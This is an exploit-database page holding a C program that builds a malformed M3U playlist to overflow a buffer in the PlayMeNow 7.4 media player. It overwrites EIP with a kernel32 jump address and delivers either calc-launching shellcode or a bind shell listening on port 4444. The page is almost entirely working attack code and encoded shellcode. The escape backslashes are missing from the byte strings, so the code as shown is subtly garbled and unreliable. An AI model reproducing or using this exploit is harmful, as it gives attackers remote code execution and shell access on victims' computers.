[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PlayMeNow Malformed M3U Playlist File Buffer
# Published : 2009-12-19
# Author : Gr33nG0bL1n
# Previous Title : PlayMeNow Malformed M3U Playlist Buffer Overflow(SEH)
# Next Title : PHP 5.2.12/5.3.1 symlink() open_basedir bypass
/*
[+] Vulnerability: PlayMeNow Malformed M3U Playlist File Buffer Overflow
[+] Product: PlayMeNow - media player.
[+] Versions affected: Tested with 7.3 and 7.4
[+] Tested on: Windows XP Professional with Service Pack 2
[+] Author: Gr33nG0bL1n
[+] Software Link: http://playmenow.gooofull.com/
[+] Date: 19/12/2009
[+] Usage: Just choose your shellcode and open the created file(PlayMeNow_expl.m3u) with PlayMeNow.
Started Like this:
EAX 00000000
ECX 7C80C755 kernel32.7C80C755
EDX 00000000
EBX 00000000
ESP 0012F5B8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 0012FAE8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ESI 00194810
EDI 001A4600
EIP 41414141
Ended with this:
exploit : [A x 1040] +[EIP - jmp esp] + [Nops -20] + [Shellcode]
*/
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<windows.h>
/*
windows/exec
http://www.metasploit.com
Encoder: x86/shikata_ga_nai
EXITFUNC=thread, CMD=calc
*/
char calc_shcode[] = "x31xc9xdaxd4xb1x33xbdxecx71x94xdexd9x74x24xf4"
"x5fx31x6fx15x03x6fx15x83x2bx75x76x2bx4fx9exff"
"xd4xafx5fx60x5cx4ax6exb2x3ax1fxc3x02x48x4dxe8"
"xe9x1cx65x7bx9fx88x8axccx2axefxa5xcdx9ax2fx69"
"x0dxbcxd3x73x42x1exedxbcx97x5fx2axa0x58x0dxe3"
"xafxcbxa2x80xedxd7xc3x46x7ax67xbcxe3xbcx1cx76"
"xedxecx8dx0dxa5x14xa5x4ax16x25x6ax89x6ax6cx07"
"x7ax18x6fxc1xb2xe1x5ex2dx18xdcx6fxa0x60x18x57"
"x5bx17x52xa4xe6x20xa1xd7x3cxa4x34x7fxb6x1ex9d"
"x7ex1bxf8x56x8cxd0x8ex31x90xe7x43x4axacx6cx62"
"x9dx25x36x41x39x6execxe8x18xcax43x14x7axb2x3c"
"xb0xf0x50x28xc2x5ax3exafx46xe1x07xafx58xeax27"
"xd8x69x61xa8x9fx75xa0x8dx40x94x61xfbxe8x01xe0"
"x46x75xb2xdex84x80x31xebx74x77x29x9ex71x33xed"
"x72x0bx2cx98x74xb8x4dx89x16x5fxdex51xf7xfax66"
"xf3x07";
/*
windows/shell_bind_tcp
http://www.metasploit.com
Encoder: x86/shikata_ga_nai
EXITFUNC=thread, LPORT=4444, RHOST=
*/
char bind_shcode[] = "x31xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13xf7"
"x82xf8x80x83xebxfcxe2xf4x0bxe8x13xcdx1fx7bx07x7f"
"x08xe2x73xecxd3xa6x73xc5xcbx09x84x85x8fx83x17x0b"
"xb8x9ax73xdfxd7x83x13xc9x7cxb6x73x81x19xb3x38x19"
"x5bx06x38xf4xf0x43x32x8dxf6x40x13x74xccxd6xdcxa8"
"x82x67x73xdfxd3x83x13xe6x7cx8exb3x0bxa8x9exf9x6b"
"xf4xaex73x09x9bxa6xe4xe1x34xb3x23xe4x7cxc1xc8x0b"
"xb7x8ex73xf0xebx2fx73xc0xffxdcx90x0exb9x8cx14xd0"
"x08x54x9exd3x91xeaxcbxb2x9fxf5x8bxb2xa8xd6x07x50"
"x9fx49x15x7cxccxd2x07x56xa8x0bx1dxe6x76x6fxf0x82"
"xa2xe8xfax7fx27xeax21x89x02x2fxafx7fx21xd1xabxd3"
"xa4xd1xbbxd3xb4xd1x07x50x91xeaxe9xdcx91xd1x71x61"
"x62xeax5cx9ax87x45xafx7fx21xe8xe8xd1xa2x7dx28xe8"
"x53x2fxd6x69xa0x7dx2exd3xa2x7dx28xe8x12xcbx7exc9"
"xa0x7dx2exd0xa3xd6xadx7fx27x11x90x67x8ex44x81xd7"
"x08x54xadx7fx27xe4x92xe4x91xeax9bxedx7ex67x92xd0"
"xaexabx34x09x10xe8xbcx09x15xb3x38x73x5dx7cxbaxad"
"x09xc0xd4x13x7axf8xc0x2bx5cx29x90xf2x09x31xeex7f"
"x82xc6x07x56xacxd5xaaxd1xa6xd3x92x81xa6xd3xadxd1"
"x08x52x90x2dx2ex87x36xd3x08x54x92x7fx08xb5x07x50"
"x7cxd5x04x03x33xe6x07x56xa5x7dx28xe8x07x08xfcxdf"
"xa4x7dx2ex7fx27x82xf8x80";
int main ( int argc , char * argv[])
{
FILE *fp;
char *EIP = "x5Dx38x82x7C"; //KERNEL32.DLL
int i;
int sc_opt =0;
system("cls");
printf("t. .. ...PlayMeNow 7.4 m3u File Buffer Overflow... .. .rn");
printf("Usage:rn");
printf("t[1] execute calc.exen");
printf("t[2] execute bindshell LPORT=4444nn");
printf("Choose shellcode: <1/2>rn");
scanf("%d" , &sc_opt );
if( (fp=fopen("PlayMeNow_expl.m3u","wb")) ==NULL )
{
perror("cannot open expl file!");
exit(0);
}
switch(sc_opt)
{
case 1:
for (i=0; i<1040; i++)
{
fwrite("x41", 1, 1, fp); //Junk
}
fwrite(EIP, 4, 1, fp); // We are flying baby.....
for (i=0; i<20; i++)
{
fwrite("x90", 1, 1, fp);// Nop's
}
fwrite(calc_shcode, sizeof(calc_shcode), 1, fp); //Party Time
fclose(fp);
printf("[+] PlayMeNow_expl.m3u Createdrn");
printf("[+] Shellcode: Calc.exern");
printf("[+] Enjoyrn");
printf("[+] Exploited By Gr33nG0bL1nrn");
break;
case 2:
for (i=0; i<1040; i++)
{
fwrite("x41", 1, 1, fp);// Junk
}
fwrite(EIP, 4, 1, fp); // We are flying baby.....
for (i=0; i<20; i++)
{
fwrite("x90", 1, 1, fp); //Nop's
}
fwrite(bind_shcode, sizeof(bind_shcode), 1, fp); //Party Time
fclose(fp);
printf("[+] PlayMeNow_expl.m3u Createdrn");
printf("[+] Shellcode: bindshell port 4444rn");
printf("[+] Enjoyrn");
printf("[+] Exploited By Gr33nG0bL1nrn");
break;
}
return 0;
}